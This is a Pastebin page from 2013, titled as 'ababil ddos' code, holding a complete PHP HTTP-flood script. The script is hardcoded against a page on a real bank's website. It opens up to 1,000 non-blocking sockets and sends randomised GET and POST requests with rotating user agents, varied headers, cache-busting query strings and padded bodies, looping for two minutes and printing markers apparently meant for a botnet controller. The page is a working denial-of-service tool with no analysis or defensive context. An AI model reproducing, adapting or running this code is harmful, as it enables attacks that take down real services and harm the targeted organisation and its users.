blocklist

ababil ddos code phase3/w5

Apr 2nd, 2013
1,146
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function on_exit(){
  2.         echo "###Vertigo###\n";
  3.         echo "\nuau-repeat";
  4. }
  5. if(function_exists('register_shutdown_function')) register_shutdown_function("on_exit");
  6. $url = "http://www.bbt.com/bbtdotcom/financial-education/home_and_residence/accumulate_down_payment.page";
  7. $ua = array('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)','Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0','BlackBerry9300/5.0.0.606 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/301','Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20110929 Iceweasel/3.5.16','IE/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322;)','GooglePocket/2.1 ( http://www.googlePocket.com/Pocket.html)','msnPocket-Products/1.0 (+http://search.msn.com/msnPocket.htm)','Opera/9.00 (Windows NT 5.1; U; en)','Safari/5.00 (Macintosh; U; en)','DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030505 Mozilla Firebird/0.6');
  8. $encoding = array("Accept-Encoding: gzip, deflate\r\n","Accept-Encoding: gzip\r\n","Accept-Encoding: deflate\r\n","Accept-Encoding: compress, gzip\r\n","Accept-Encoding: compress;q=0.5, gzip;q=1.0\r\n");
  9. $language = array("Accept-Language: en\r\n","Accept-Language: fr\r\n","Accept-Language: en-us,en;q=0.\r\n","Accept-Language: en,de.\r\n",);
  10. $charset = array("Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n","Accept-Charset: iso8859-5\r\n","Accept-Charset: UTF-8\r\n");
  11. if(substr($url, 0, 4) != 'http') $url = 'http://'.$url;
  12. $parts = parse_url($url);
  13. if(!isset($parts['path']) || $parts['path'] == '') $parts['path'] = '/';
  14. $cons = array();
  15. $data = array();
  16. $num = 1000;
  17. $time = time();
  18. while(1){
  19.         if(time() - $time > 120){
  20.                 echo "###Vertigo###\n";
  21.                 echo "\nuau-repeat";
  22.                 exit;
  23.  
  24. }
  25.         for($i = 0;$i < $num - count($cons);$i++){
  26.                 $cons[] = con_create($parts['host'],80);
  27.                 $data[] = rand_header($parts['host'],$parts['path']);
  28. }
  29.         foreach($cons as $id => $con){
  30.                 if(strlen($data[$id]) == 0){
  31.                         unset($cons[$id]);
  32.                         unset($data[$id]);
  33.                         continue;
  34. }
  35.                 $length = @socket_write($con,$data[$id]);
  36.                 if($length === false && @socket_last_error($con) != 11){
  37.                         unset($cons[$id]);
  38.                         unset($data[$id]);
  39.                         continue;
  40. }
  41.                 if($length > 0) $data[$id] = substr($data[$id],$length);
  42. }
  43. }
  44. function rand_header($host,$path){
  45.         global $ua;
  46.         global $encoding;
  47.         global $charset;
  48.         global $language;
  49.         $accepts = array($encoding[rand(0,count($encoding)-1)],$charset[rand(0,count($charset)-1)],$language[rand(0,count($language)-1)]);
  50.         shuffle($accepts);
  51.         $header = '';
  52.         $randaddr = rand(1,3);
  53.         if($randaddr <= 2){
  54.                 $rand = md5(microtime().rand(0,500));
  55.                 if(preg_match("/\?/",$path))
  56.                         $path .= "&".substr($rand,5,10);
  57.                 else
  58.                         $path .= "?".substr($rand,5,10);
  59. }
  60.         $method = rand(1,3);
  61.         if($method <= 2) $header .= "GET $path HTTP/1.1\r\n";
  62.         else $header .= "POST $path HTTP/1.1\r\n";
  63.         $header .= "Host: $host\r\n"
  64.                  ."User-Agent: ".$ua[rand(0,count($ua)-1)]."\r\n"
  65.                  ."Accept: */*\r\n"
  66.                  .implode('',$accepts);
  67.         $connection = rand(1,5);
  68.         if($connection <= 3) $header .= "Connection: Keep-Alive\r\nKeep-Alive: ".rand(100,200)."\r\n";
  69.         else $header .= "Connection: Close\r\n";
  70.         $cache = rand(1,5);
  71.         $plength = rand(50,1000);
  72.         if($method > 2) $header .= "Content-Length: ".$plength."\r\n";
  73.         if($cache <= 3) $header .= "Cache-Control: no-cache\r\n\r\n";
  74.         else $header .= "Pragma: no-cache\r\n\r\n";
  75.         if($method > 2) $header .= str_repeat('z',rand($plength-10,$plength+100));
  76.         return $header;
  77. }
  78. function con_create($host,$port){
  79.         $temp_sock = @socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  80.         @socket_set_nonblock($temp_sock);
  81.         @socket_connect($temp_sock,$host,$port);
  82.         return $temp_sock;
  83. }
  84. exit;
RAW Paste Data